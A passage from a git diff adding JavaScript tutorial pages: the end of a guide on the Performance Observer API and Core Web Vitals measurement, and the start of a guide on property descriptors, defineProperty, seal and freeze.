// Send to analytics + } +}) +``` + +### Interaction to Next Paint (INP) + +INP measures responsiveness — the latency of user interactions. + +```javascript +// Measure INP (target: < 200ms) +let maxINP = 0 + +const inpObserver = new PerformanceObserver((list) => { + list.getEntries().forEach((entry) => { + // Track the worst interaction + if (entry.duration > maxINP) { + maxINP = entry.duration + console.log(`New worst interaction: ${maxINP}ms`) + console.log(`Event type: ${entry.name}`) + } + }) +}) + +// durationThreshold filters out fast interactions +inpObserver.observe({ + type: 'event', + buffered: true, + durationThreshold: 40 // Only report interactions > 40ms +}) +``` + +### First Contentful Paint (FCP) + +FCP measures when the first content appears on screen. + +```javascript +// Measure FCP (target: < 1.8 seconds) +const fcpObserver = new PerformanceObserver((list) => { + const fcp = list.getEntries().find(entry => entry.name === 'first-contentful-paint') + + if (fcp) { + console.log(`FCP: ${fcp.startTime}ms`) + + if (fcp.startTime <= 1800) { + console.log('Rating: Good') + } else if (fcp.startTime <= 3000) { + console.log('Rating: Needs Improvement') + } else { + console.log('Rating: Poor') + } + } +}) + +fcpObserver.observe({ type: 'paint', buffered: true }) +``` + +### Time to First Byte (TTFB) + +TTFB measures server response time. + +```javascript +// Measure TTFB (target: < 800ms) +const ttfbObserver = new PerformanceObserver((list) => { + const entry = list.getEntries()[0] + const ttfb = entry.responseStart - entry.startTime + + console.log(`TTFB: ${ttfb}ms`) + + // Breakdown + const dns = entry.domainLookupEnd - entry.domainLookupStart + const connection = entry.connectEnd - entry.connectStart + const waiting = entry.responseStart - entry.requestStart + + console.log(`DNS: ${dns}ms`) + console.log(`Connection: ${connection}ms`) + console.log(`Server wait: ${waiting}ms`) +}) + +ttfbObserver.observe({ type: 'navigation', buffered: true }) +``` + +--- + +## The Buffered Option + +The `buffered` option is crucial for capturing performance entries that occurred before your observer started listening. + +```javascript +// Without buffered: Only see entries AFTER observe() is called +observer.observe({ type: 'resource' }) + +// With buffered: Also get entries that already happened +observer.observe({ type: 'resource', buffered: true }) +``` + +### Why Buffered Matters + +Consider this scenario: + +```javascript +// Your performance script loads at 2000ms +// But images loaded at 500ms, 800ms, and 1200ms + +// Without buffered: You miss all those image timings! +// With buffered: You get all historical entries in the first callback +``` + +### How Buffered Works + +```javascript +const observer = new PerformanceObserver((list, obs) => { + const entries = list.getEntries() + console.log(`Received ${entries.length} entries`) + + entries.forEach(entry => { + console.log(`${entry.name} at ${entry.startTime}ms`) + }) +}) + +// First callback will include ALL resource entries since page load +observer.observe({ type: 'resource', buffered: true }) +``` + +<Warning> +**Buffer Limits:** The browser only keeps a limited number of entries in the buffer. For high-volume entry types like `resource`, very old entries may be dropped. Always set up observers as early as possible. +</Warning> + +--- + +## Custom Performance Marks and Measures + +You can create your own timing points using marks and measures: + +```javascript +// Create custom timing points +performance.mark('api-call-start') + +await fetch('/api/users') + +performance.mark('api-call-end') + +// Measure the duration between marks +performance.measure('api-call', 'api-call-start', 'api-call-end') + +// Observe custom measures +const customObserver = new PerformanceObserver((list) => { + list.getEntries().forEach(entry => { + console.log(`${entry.name}: ${entry.duration}ms`) + }) +}) + +customObserver.observe({ type: 'measure', buffered: true }) + +// Output: api-call: 245.3ms +``` + +### Practical Custom Metrics + +```javascript +// Measure component render time +function measureRender(componentName, renderFn) { + performance.mark(`${componentName}-start`) + renderFn() + performance.mark(`${componentName}-end`) + performance.measure(componentName, `${componentName}-start`, `${componentName}-end`) +} + +// Measure time to interactive for specific features +performance.mark('search-ready') +initSearchComponent() +performance.mark('search-interactive') +performance.measure('search-init', 'search-ready', 'search-interactive') + +// Measure user flows +performance.mark('checkout-start') +// ... user completes checkout ... +performance.mark('checkout-complete') +performance.measure('checkout-flow', 'checkout-start', 'checkout-complete') +``` + +--- + +## Tracking Long Tasks + +Long Tasks are JavaScript tasks that block the main thread for more than 50ms. They directly impact responsiveness. + +```javascript +// Detect tasks blocking the main thread +const longTaskObserver = new PerformanceObserver((list) => { + list.getEntries().forEach(entry => { + console.warn(`Long task detected!`) + console.log(`Duration: ${entry.duration}ms`) + console.log(`Start time: ${entry.startTime}ms`) + + // Attribution shows what caused the long task + if (entry.attribution && entry.attribution.length > 0) { + const attribution = entry.attribution[0] + console.log(`Container: ${attribution.containerType}`) + console.log(`Source: ${attribution.containerSrc}`) + } + }) +}) + +longTaskObserver.observe({ type: 'longtask', buffered: true }) +``` + +### Why Long Tasks Matter + +``` +User clicks button + │ + ▼ +┌─────────────────────────────────────────┐ +│ Long Task (150ms) │ +│ ┌───────────────────────────────────┐ │ +│ │ Your heavy JavaScript code │ │ +│ └───────────────────────────────────┘ │ +└─────────────────────────────────────────┘ + │ + ▼ +Browser finally responds (150ms later) +``` + +If a task takes 150ms, the user waits 150ms for any response. That feels slow! + +--- + +## Building a Simple RUM Solution + +Here's how to build a basic Real User Monitoring solution using Performance Observer: + +```javascript +// Simple RUM implementation +class PerformanceMonitor { + constructor(endpoint = '/analytics') { + this.endpoint = endpoint + this.metrics = {} + this.observers = [] + + this.init() + } + + init() { + // Observe LCP + this.observe('largest-contentful-paint', (entries) => { + const lastEntry = entries[entries.length - 1] + this.metrics.lcp = lastEntry.startTime + }) + + // Observe CLS + this.metrics.cls = 0 + this.observe('layout-shift', (entries) => { + entries.forEach(entry => { + if (!entry.hadRecentInput) { + this.metrics.cls += entry.value + } + }) + }) + + // Observe FCP + this.observe('paint', (entries) => { + const fcp = entries.find(e => e.name === 'first-contentful-paint') + if (fcp) { + this.metrics.fcp = fcp.startTime + } + }) + + // Observe Navigation + this.observe('navigation', (entries) => { + const nav = entries[0] + this.metrics.ttfb = nav.responseStart - nav.startTime + this.metrics.domContentLoaded = nav.domContentLoadedEventEnd - nav.startTime + this.metrics.load = nav.loadEventEnd - nav.startTime + }) + + // Report when page is hidden + document.addEventListener('visibilitychange', () => { + if (document.visibilityState === 'hidden') { + this.report() + } + }) + } + + observe(type, callback) { + try { + const observer = new PerformanceObserver((list) => { + callback(list.getEntries()) + }) + observer.observe({ type, buffered: true }) + this.observers.push(observer) + } catch (e) { + console.warn(`${type} not supported`) + } + } + + report() { + const body = JSON.stringify({ + url: window.location.href, + timestamp: Date.now(), + metrics: this.metrics + }) + + // Use sendBeacon for reliable delivery + if (navigator.sendBeacon) { + navigator.sendBeacon(this.endpoint, body) + } else { + fetch(this.endpoint, { + method: 'POST', + body, + keepalive: true + }) + } + } + + disconnect() { + this.observers.forEach(obs => obs.disconnect()) + } +} + +// Usage +const monitor = new PerformanceMonitor('/api/analytics') +``` + +--- + +## Using the web-vitals Library + +For production use, Google's [web-vitals](https://github.com/GoogleChrome/web-vitals) library handles all the edge cases: + +```javascript +import { onCLS, onINP, onLCP, onFCP, onTTFB } from 'web-vitals' + +function sendToAnalytics(metric) { + const body = JSON.stringify({ + name: metric.name, + value: metric.value, + rating: metric.rating, // 'good' | 'needs-improvement' | 'poor' + delta: metric.delta, + id: metric.id, + navigationType: metric.navigationType + }) + + navigator.sendBeacon('/analytics', body) +} + +// Measure all Core Web Vitals +onCLS(sendToAnalytics) +onINP(sendToAnalytics) +onLCP(sendToAnalytics) +onFCP(sendToAnalytics) +onTTFB(sendToAnalytics) +``` + +### Why Use web-vitals? + +```javascript +// web-vitals handles edge cases you'd forget: + +// 1. LCP can change until first user input +// 2. CLS needs session windowing for accurate scores +// 3. INP needs to track all interactions, not just first +// 4. Proper handling of bfcache navigations +// 5. Correct timing for prerendered pages +// 6. Delta values for analytics deduplication +``` + +<CardGroup cols={2}> + <Card title="web-vitals Library" icon="github" href="https://github.com/GoogleChrome/web-vitals"> + Production-ready library for measuring Core Web Vitals accurately + </Card> + <Card title="Web Vitals Thresholds — web.dev" icon="gauge" href="https://web.dev/articles/vitals"> + Official thresholds and guidelines for LCP, CLS, and INP + </Card> +</CardGroup> + +--- + +## Observer Methods + +### observe() + +Start observing performance entries: + +```javascript +// Observe single type (preferred) +observer.observe({ type: 'resource', buffered: true }) + +// Observe multiple types (legacy) +observer.observe({ entryTypes: ['resource', 'navigation'] }) +``` + +<Warning> +**Note:** When using `entryTypes`, you cannot use `buffered` or `durationThreshold`. Use the single `type` option for more control. +</Warning> + +### disconnect() + +Stop observing and clean up: + +```javascript +// Stop all observation +observer.disconnect() + +// Common pattern: disconnect after getting what you need +const observer = new PerformanceObserver((list, obs) => { + const fcp = list.getEntries().find(e => e.name === 'first-contentful-paint') + if (fcp) { + console.log('FCP:', fcp.startTime) + obs.disconnect() // No longer need to observe + } +}) + +observer.observe({ type: 'paint', buffered: true }) +``` + +### takeRecords() + +Get pending entries and clear the buffer: + +```javascript +const observer = new PerformanceObserver((list) => { + // Normal processing +}) + +observer.observe({ type: 'resource', buffered: true }) + +// Later: Get any entries that haven't triggered callback yet +const pendingEntries = observer.takeRecords() +console.log('Pending entries:', pendingEntries) +``` + +--- + +## Common Mistakes + +### Mistake 1: Not Using Buffered + +```javascript +// ❌ WRONG: Misses entries that occurred before observe() +const observer = new PerformanceObserver((list) => { + // Might never receive LCP if it already happened! +}) +observer.observe({ type: 'largest-contentful-paint' }) + +// ✅ CORRECT: Capture historical entries +observer.observe({ type: 'largest-contentful-paint', buffered: true }) +``` + +### Mistake 2: Not Handling Page Visibility + +```javascript +// ❌ WRONG: Never reports if user closes tab +const observer = new PerformanceObserver((list) => { + // Data lost when page closes +}) + +// ✅ CORRECT: Report when page is hidden +document.addEventListener('visibilitychange', () => { + if (document.visibilityState === 'hidden') { + sendMetricsToServer() + } +}) +``` + +### Mistake 3: Using Wrong Report Method + +```javascript +// ❌ WRONG: fetch() might be cancelled when page unloads +window.addEventListener('beforeunload', () => { + fetch('/analytics', { method: 'POST', body: data }) +}) + +// ✅ CORRECT: sendBeacon() is designed for this +window.addEventListener('visibilitychange', () => { + if (document.visibilityState === 'hidden') { + navigator.sendBeacon('/analytics', data) + } +}) +``` + +### Mistake 4: Not Checking Browser Support + +```javascript +// ❌ WRONG: Crashes in older browsers +const observer = new PerformanceObserver(callback) + +// ✅ CORRECT: Check support first +if ('PerformanceObserver' in window) { + const observer = new PerformanceObserver(callback) + + // Also check specific entry type support + if (PerformanceObserver.supportedEntryTypes.includes('largest-contentful-paint')) { + observer.observe({ type: 'largest-contentful-paint', buffered: true }) + } +} +``` + +### Mistake 5: Observing in Production Without Sampling + +```javascript +// ❌ WRONG: Every user sends data = massive traffic +const observer = new PerformanceObserver((list) => { + sendToAnalytics(list.getEntries()) // Called for every user +}) + +// ✅ CORRECT: Sample a percentage of users +const shouldSample = Math.random() < 0.1 // 10% of users + +if (shouldSample) { + const observer = new PerformanceObserver((list) => { + sendToAnalytics(list.getEntries()) + }) + observer.observe({ type: 'resource', buffered: true }) +} +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Performance Observer is event-driven** — It notifies you when performance entries are recorded, instead of requiring you to poll for data. + +2. **Always use `buffered: true`** — This captures entries that occurred before your observer started listening. Essential for metrics like LCP and FCP. + +3. **Core Web Vitals are measurable** — LCP (loading), CLS (visual stability), and INP (interactivity) can all be measured with Performance Observer. + +4. **Use `sendBeacon()` for reporting** — It's designed to reliably send data even when the page is closing. Always report on `visibilitychange`. + +5. **Check browser support** — Use `PerformanceObserver.supportedEntryTypes` to verify which entry types are available. + +6. **Use web-vitals in production** — Google's library handles edge cases like session windowing, bfcache, and prerendering that are easy to get wrong. + +7. **Long tasks hurt responsiveness** — Tasks blocking the main thread >50ms directly impact user experience. Monitor them! + +8. **Custom marks and measures** — Use `performance.mark()` and `performance.measure()` to track application-specific timings. + +9. **Sample in production** — Don't send analytics data for every user. Sample a percentage to manage traffic. + +10. **Clean up observers** — Call `disconnect()` when you no longer need to observe, especially in SPAs where components unmount. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What's the difference between using `type` vs `entryTypes` in observe()?"> + **Answer:** + + - **`type`** (single string): Preferred modern approach. Lets you use additional options like `buffered` and `durationThreshold`. + + - **`entryTypes`** (array): Legacy approach for observing multiple types with one observer. Cannot use `buffered` or `durationThreshold`. + + ```javascript + // Modern (preferred) + observer.observe({ type: 'resource', buffered: true }) + + // Legacy (limited options) + observer.observe({ entryTypes: ['resource', 'navigation'] }) + ``` + + For most use cases, create separate observers with `type` for better control. + </Accordion> + + <Accordion title="Question 2: Why is the `buffered` option important?"> + **Answer:** + + The `buffered` option tells the browser to include historical entries that were recorded before you called `observe()`. Without it, you only receive entries that occur after observation starts. + + This is crucial because: + - Your performance script might load after key events (like FCP or LCP) + - Resources might have already loaded by the time your code runs + - You want a complete picture, not just partial data + + ```javascript + // Script loads at 2000ms, but LCP happened at 1500ms + // Without buffered: You miss LCP entirely + // With buffered: First callback includes the LCP entry + ``` + </Accordion> + + <Accordion title="Question 3: How do you accurately measure CLS?"> + **Answer:** + + CLS (Cumulative Layout Shift) requires special handling: + + 1. **Only count unexpected shifts** — Ignore shifts that follow user input + 2. **Accumulate over time** — CLS is cumulative, so add up all shifts + 3. **Report at the right time** — Send the final value when the page is hidden + + ```javascript + let clsValue = 0 + + const observer = new PerformanceObserver((list) => { + list.getEntries().forEach(entry => { + if (!entry.hadRecentInput) { + clsValue += entry.value + } + }) + }) + + observer.observe({ type: 'layout-shift', buffered: true }) + + document.addEventListener('visibilitychange', () => { + if (document.visibilityState === 'hidden') { + sendMetric('CLS', clsValue) + } + }) + ``` + </Accordion> + + <Accordion title="Question 4: Why use `sendBeacon()` instead of `fetch()` for analytics?"> + **Answer:** + + `sendBeacon()` is designed specifically for sending analytics data when the page is unloading: + + 1. **Guaranteed delivery** — The browser ensures the request is sent even if the page closes + 2. **Non-blocking** — Doesn't delay page navigation or closing + 3. **Survives page unload** — Unlike `fetch()`, which may be cancelled + + ```javascript + // ❌ fetch() might be cancelled + window.addEventListener('beforeunload', () => { + fetch('/analytics', { method: 'POST', body: data }) + }) + + // ✅ sendBeacon() is reliable + document.addEventListener('visibilitychange', () => { + if (document.visibilityState === 'hidden') { + navigator.sendBeacon('/analytics', data) + } + }) + ``` + </Accordion> + + <Accordion title="Question 5: What are Long Tasks and why do they matter?"> + **Answer:** + + Long Tasks are JavaScript tasks that block the main thread for more than 50ms. They matter because: + + 1. **They block user interaction** — User can't click, scroll, or type while a long task runs + 2. **They cause jank** — Animations and scrolling stutter + 3. **They impact INP** — Long tasks directly worsen interaction responsiveness + + ```javascript + const observer = new PerformanceObserver((list) => { + list.getEntries().forEach(entry => { + console.warn(`Long task: ${entry.duration}ms`) + // Duration > 50ms is considered "long" + }) + }) + + observer.observe({ type: 'longtask', buffered: true }) + ``` + + If you see many long tasks, break up your JavaScript into smaller chunks or use Web Workers. + </Accordion> + + <Accordion title="Question 6: How does web-vitals library improve on raw Performance Observer?"> + **Answer:** + + The web-vitals library handles many edge cases that are easy to get wrong: + + 1. **LCP finalization** — Stops tracking when user interacts (correct behavior) + 2. **CLS session windowing** — Uses proper 5-second windows with 1-second gaps + 3. **INP calculation** — Correctly identifies the worst interaction, not just the first + 4. **bfcache handling** — Properly handles back/forward cache navigations + 5. **Prerender support** — Adjusts timings for prerendered pages + 6. **Delta values** — Provides deltas for proper analytics deduplication + + ```javascript + import { onLCP } from 'web-vitals' + + onLCP((metric) => { + // All edge cases handled for you + console.log(metric.value) // The LCP value + console.log(metric.rating) // 'good', 'needs-improvement', or 'poor' + console.log(metric.delta) // Change since last report + }) + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> + Understand how the browser schedules tasks and why long tasks block the main thread + </Card> + <Card title="Callbacks" icon="phone" href="/concepts/callbacks"> + Performance Observer uses callbacks to notify you of new entries asynchronously + </Card> + <Card title="Web Workers" icon="gears" href="/concepts/web-workers"> + Move heavy computation off the main thread to prevent long tasks + </Card> + <Card title="HTTP & Fetch" icon="globe" href="/concepts/http-fetch"> + Understanding network requests helps interpret resource timing data + </Card> +</CardGroup> + +--- + +## Resources + +<CardGroup cols={2}> + <Card title="Performance Observer — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver"> + Complete API reference including all methods, properties, and browser compatibility tables + </Card> + <Card title="Performance API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Performance_API"> + Overview of the broader Performance API ecosystem and all related interfaces + </Card> + <Card title="PerformanceEntry Types — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/PerformanceEntry/entryType"> + Reference for all performance entry types and their specific properties + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="Web Vitals — web.dev" icon="newspaper" href="https://web.dev/articles/vitals"> + Official guide to Core Web Vitals with thresholds, measurement tools, and optimization tips from Google + </Card> + <Card title="Custom Metrics — web.dev" icon="newspaper" href="https://web.dev/articles/custom-metrics"> + Comprehensive guide to measuring custom performance metrics using Performance Observer APIs + </Card> + <Card title="Best Practices for Web Vitals — web.dev" icon="newspaper" href="https://web.dev/articles/vitals-field-measurement-best-practices"> + Field measurement best practices for collecting accurate Core Web Vitals data in production + </Card> + <Card title="Long Tasks API — web.dev" icon="newspaper" href="https://web.dev/articles/optimize-long-tasks"> + Deep dive into detecting and optimizing long tasks that block the main thread + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="Core Web Vitals — Google Chrome Developers" icon="video" href="https://www.youtube.com/watch?v=AQqFZ5t8uNc"> + Official introduction to Core Web Vitals metrics and why they matter for user experience + </Card> + <Card title="Performance Observer Explained" icon="video" href="https://www.youtube.com/watch?v=fr7VL7dXc6g"> + Practical walkthrough of Performance Observer API with real-world examples + </Card> + <Card title="Measuring Web Performance — HTTP 203" icon="video" href="https://www.youtube.com/watch?v=NxhJmFQSFqE"> + Jake Archibald and Surma discuss performance measurement techniques and common pitfalls + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/property-descriptors.mdx b/docs/beyond/concepts/property-descriptors.mdx new file mode 100644 index 00000000..acb728d8 --- /dev/null +++ b/docs/beyond/concepts/property-descriptors.mdx @@ -0,0 +1,906 @@ +--- +title: "Property Descriptors: Hidden Property Flags in JavaScript" +sidebarTitle: "Property Descriptors: Hidden Property Flags" +description: "Learn JavaScript property descriptors. Understand writable, enumerable, configurable flags, Object.defineProperty(), and how to create immutable properties." +--- + +Why can you delete most object properties but not `Math.PI`? Why do some properties show up in `for...in` loops while others don't? And how do you create a property that can never be changed? + +```javascript +// You can't modify Math.PI +Math.PI = 3 // Silently fails (or throws in strict mode) +console.log(Math.PI) // 3.141592653589793 - unchanged! + +// You can't delete it either +delete Math.PI // false +console.log(Math.PI) // 3.141592653589793 - still there! +``` + +The answer is **property descriptors**. Every property in JavaScript has hidden attributes that control how it behaves. Understanding these unlocks powerful patterns for creating robust, secure objects. + +```javascript +// Check Math.PI's hidden attributes +const descriptor = Object.getOwnPropertyDescriptor(Math, 'PI') +console.log(descriptor) +// { +// value: 3.141592653589793, +// writable: false, ← Can't change the value +// enumerable: false, ← Won't show in for...in +// configurable: false ← Can't delete or reconfigure +// } +``` + +<Info> +**What you'll learn in this guide:** +- What property descriptors are and why they matter +- The three property flags: `writable`, `enumerable`, `configurable` +- How to use [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) to create controlled properties +- Data descriptors vs accessor descriptors (getters/setters) +- How to inspect properties with [`Object.getOwnPropertyDescriptor()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor) +- Object-level protections: `freeze`, `seal`, and `preventExtensions` +- Real-world use cases for property descriptors +</Info> + +<Warning> +**Prerequisite:** This guide references [Strict Mode](/beyond/concepts/strict-mode) for error behavior. Property descriptor errors are silent in non-strict mode but throw in strict mode. +</Warning> + +--- + +## What are Property Descriptors? + +**Property descriptors** are metadata objects that describe the characteristics of an object property. Every property in JavaScript has a descriptor that controls whether the property can be changed, deleted, or enumerated. When you create a property the "normal" way (with assignment), JavaScript sets all flags to permissive defaults. + +```javascript +const user = { name: "Alice" } + +// Check the descriptor for 'name' +console.log(Object.getOwnPropertyDescriptor(user, 'name')) +// { +// value: "Alice", +// writable: true, ← Can change the value +// enumerable: true, ← Shows in for...in +// configurable: true ← Can delete or reconfigure +// } +``` + +Think of property descriptors as the "permissions" for each property. Just like file permissions on your computer control who can read, write, or execute a file, property descriptors control what you can do with a property. + +--- + +## The File Permissions Analogy + +If you've used a computer, you've encountered file permissions. Property descriptors work the same way for object properties. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ PROPERTY DESCRIPTORS: FILE PERMISSIONS │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ FILE PERMISSIONS (Computer) PROPERTY DESCRIPTORS (JS) │ +│ ──────────────────────────── ───────────────────────── │ +│ │ +│ ┌──────────────────────────┐ ┌──────────────────────────┐ │ +│ │ Read [✓] │ │ enumerable [✓] │ │ +│ │ Write [✓] │ → │ writable [✓] │ │ +│ │ Delete [✓] │ │ configurable [✓] │ │ +│ └──────────────────────────┘ └──────────────────────────┘ │ +│ Normal file Normal property │ +│ │ +│ ┌──────────────────────────┐ ┌──────────────────────────┐ │ +│ │ Read [✓] │ │ enumerable [✓] │ │ +│ │ Write [✗] │ → │ writable [✗] │ │ +│ │ Delete [✗] │ │ configurable [✗] │ │ +│ └──────────────────────────┘ └──────────────────────────┘ │ +│ Read-only file Constant property │ +│ │ +│ Just like you can protect files, you can protect object properties. │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## The Three Property Flags + +Every data property has three flags that control its behavior. Let's explore each one. + +### `writable`: Can the Value Be Changed? + +When `writable` is `false`, the property becomes read-only. Assignment attempts silently fail in non-strict mode or throw a `TypeError` in [strict mode](/beyond/concepts/strict-mode). + +```javascript +"use strict" + +const config = {} + +Object.defineProperty(config, 'apiVersion', { + value: 'v2', + writable: false, // Read-only + enumerable: true, + configurable: true +}) + +console.log(config.apiVersion) // "v2" + +config.apiVersion = 'v3' // TypeError: Cannot assign to read-only property +``` + +<Note> +Without `"use strict"`, the assignment would silently fail. The value would remain `"v2"` with no error message. This is why strict mode is recommended. +</Note> + +### `enumerable`: Does It Show in Loops? + +When `enumerable` is `false`, the property is hidden from iteration methods like `for...in`, [`Object.keys()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys), and the [spread operator](/concepts/modern-js-syntax). + +```javascript +const user = { name: "Alice" } + +// Add a hidden metadata property +Object.defineProperty(user, '_id', { + value: 12345, + writable: true, + enumerable: false, // Hidden from iteration + configurable: true +}) + +// The property exists and works +console.log(user._id) // 12345 + +// But it's invisible to iteration +console.log(Object.keys(user)) // ["name"] - no _id! + +for (const key in user) { + console.log(key) // Only logs "name" +} + +// Spread also ignores it +const copy = { ...user } +console.log(copy) // { name: "Alice" } - no _id! +``` + +This is how JavaScript hides internal properties. For example, the `length` property of arrays is non-enumerable: + +```javascript +const arr = [1, 2, 3] +console.log(arr.length) // 3 + +// But it doesn't show up in keys +console.log(Object.keys(arr)) // ["0", "1", "2"] - no "length" +``` + +### `configurable`: Can It Be Deleted or Reconfigured? + +When `configurable` is `false`, you cannot: +- Delete the property +- Change any flag (except `writable`: you can still change `true` → `false`) +- Change between data and accessor descriptor types + +```javascript +"use strict" + +const settings = {} + +Object.defineProperty(settings, 'debug', { + value: true, + writable: true, + enumerable: true, + configurable: false // Locked configuration +}) + +// Can still change the value (writable is true) +settings.debug = false +console.log(settings.debug) // false + +// But can't delete it +delete settings.debug // TypeError: Cannot delete property 'debug' + +// Can't make it enumerable: false +Object.defineProperty(settings, 'debug', { + enumerable: false +}) // TypeError: Cannot redefine property: debug +``` + +<Warning> +**`configurable: false` is a one-way door.** Once you set it, you cannot undo it. Think carefully before making a property non-configurable. +</Warning> + +--- + +## Using `Object.defineProperty()` + +The [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) method is how you create or modify properties with specific descriptors. + +### Basic Syntax + +```javascript +Object.defineProperty(obj, propertyName, descriptor) +``` + +- `obj`: The object to modify +- `propertyName`: A string or Symbol for the property name +- `descriptor`: An object with the property settings + +### Creating a New Property + +```javascript +const product = {} + +Object.defineProperty(product, 'price', { + value: 99.99, + writable: true, + enumerable: true, + configurable: true +}) + +console.log(product.price) // 99.99 +``` + +### Default Values Are Restrictive + +When using `Object.defineProperty()`, any flag you don't specify defaults to `false`. This is the opposite of normal assignment! + +```javascript +const obj = {} + +// Normal assignment - all flags default to TRUE +obj.a = 1 +console.log(Object.getOwnPropertyDescriptor(obj, 'a')) +// { value: 1, writable: true, enumerable: true, configurable: true } + +// defineProperty - unspecified flags default to FALSE +Object.defineProperty(obj, 'b', { value: 2 }) +console.log(Object.getOwnPropertyDescriptor(obj, 'b')) +// { value: 2, writable: false, enumerable: false, configurable: false } +``` + +<Tip> +**Rule of thumb:** Always explicitly set all the flags you care about when using `Object.defineProperty()`. Don't rely on defaults. +</Tip> + +### Modifying Existing Properties + +You can use `defineProperty` to change flags on existing properties: + +```javascript +const user = { name: "Alice" } + +// Make name read-only +Object.defineProperty(user, 'name', { + writable: false +}) + +// Now it can't be changed +user.name = "Bob" // Silently fails (throws in strict mode) +console.log(user.name) // "Alice" +``` + +--- + +## Defining Multiple Properties at Once + +[`Object.defineProperties()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties) lets you define multiple properties in one call: + +```javascript +const config = {} + +Object.defineProperties(config, { + apiUrl: { + value: 'https://api.example.com', + writable: false, + enumerable: true, + configurable: false + }, + timeout: { + value: 5000, + writable: true, + enumerable: true, + configurable: true + }, + _internal: { + value: 'secret', + writable: false, + enumerable: false, // Hidden + configurable: false + } +}) + +console.log(Object.keys(config)) // ["apiUrl", "timeout"] - no _internal +``` + +--- + +## Inspecting Property Descriptors + +### Single Property: `Object.getOwnPropertyDescriptor()` + +```javascript +const user = { name: "Alice", age: 30 } + +const nameDescriptor = Object.getOwnPropertyDescriptor(user, 'name') +console.log(nameDescriptor) +// { +// value: "Alice", +// writable: true, +// enumerable: true, +// configurable: true +// } +``` + +### All Properties: `Object.getOwnPropertyDescriptors()` + +[`Object.getOwnPropertyDescriptors()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors) returns descriptors for all own properties: + +```javascript +const user = { name: "Alice", age: 30 } + +console.log(Object.getOwnPropertyDescriptors(user)) +// { +// name: { value: "Alice", writable: true, enumerable: true, configurable: true }, +// age: { value: 30, writable: true, enumerable: true, configurable: true } +// } +``` + +### Cloning Objects with Descriptors + +The spread operator and `Object.assign()` don't preserve property descriptors. Use `Object.getOwnPropertyDescriptors()` for a true clone: + +```javascript +const original = {} +Object.defineProperty(original, 'id', { + value: 1, + writable: false, + enumerable: true, + configurable: false +}) + +// ❌ WRONG - spread loses the descriptor settings +const badClone = { ...original } +badClone.id = 999 // Works! Not read-only anymore +console.log(badClone.id) // 999 + +// ✓ CORRECT - preserves all descriptors +const goodClone = Object.defineProperties( + {}, + Object.getOwnPropertyDescriptors(original) +) +goodClone.id = 999 // Silently fails (throws in strict mode) +console.log(goodClone.id) // 1 - still protected! +``` + +--- + +## Data Descriptors vs Accessor Descriptors + +There are two types of property descriptors: + +### Data Descriptors + +A **data descriptor** has a `value` and optionally `writable`. This is what we've been using: + +```javascript +{ + value: "something", + writable: true, + enumerable: true, + configurable: true +} +``` + +### Accessor Descriptors + +An **accessor descriptor** has `get` and/or `set` functions instead of `value` and `writable`. See [Getters & Setters](/beyond/concepts/getters-setters) for a deeper dive into accessor properties. + +```javascript +const user = { + firstName: "Alice", + lastName: "Smith" +} + +Object.defineProperty(user, 'fullName', { + get() { + return `${this.firstName} ${this.lastName}` + }, + set(value) { + const parts = value.split(' ') + this.firstName = parts[0] + this.lastName = parts[1] + }, + enumerable: true, + configurable: true +}) + +console.log(user.fullName) // "Alice Smith" + +user.fullName = "Bob Jones" +console.log(user.firstName) // "Bob" +console.log(user.lastName) // "Jones" +``` + +<Warning> +**You can't mix both.** A descriptor with both `value` and `get` (or `writable` and `set`) throws a `TypeError`. It must be one type or the other. +</Warning> + +```javascript +// ❌ This throws an error +Object.defineProperty({}, 'broken', { + value: 42, + get() { return 42 } // TypeError: Invalid property descriptor +}) +``` + +### Getter-Only Properties + +If you only define a `get` without `set`, the property becomes read-only: + +```javascript +"use strict" + +const circle = { radius: 5 } + +Object.defineProperty(circle, 'area', { + get() { + return Math.PI * this.radius ** 2 + }, + enumerable: true, + configurable: true +}) + +console.log(circle.area) // 78.53981633974483 + +circle.area = 100 // TypeError: Cannot set property 'area' which has only a getter +``` + +--- + +## Object-Level Protections + +Property descriptors control individual properties. JavaScript also provides methods to protect entire objects. + +### `Object.preventExtensions()`: No New Properties + +```javascript +const user = { name: "Alice" } + +Object.preventExtensions(user) + +// Can still modify existing properties +user.name = "Bob" +console.log(user.name) // "Bob" + +// But can't add new ones +user.age = 30 // Silently fails (throws in strict mode) +console.log(user.age) // undefined + +// Check if extensible +console.log(Object.isExtensible(user)) // false +``` + +### `Object.seal()`: No Add/Delete, Can Still Modify + +[`Object.seal()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal) prevents adding or deleting properties by setting `configurable: false` on all existing properties: + +```javascript +const config = { debug: true, version: 1 } + +Object.seal(config) + +// Can modify values +config.debug = false +console.log(config.debug) // false + +// Can't add properties +config.newProp = "test" // Silently fails +console.log(config.newProp) // undefined + +// Can't delete properties +delete config.version // Silently fails +console.log(config.version) // 1 + +console.log(Object.isSealed(config)) // true +``` + +### `Object.freeze()`: Complete Immutability + 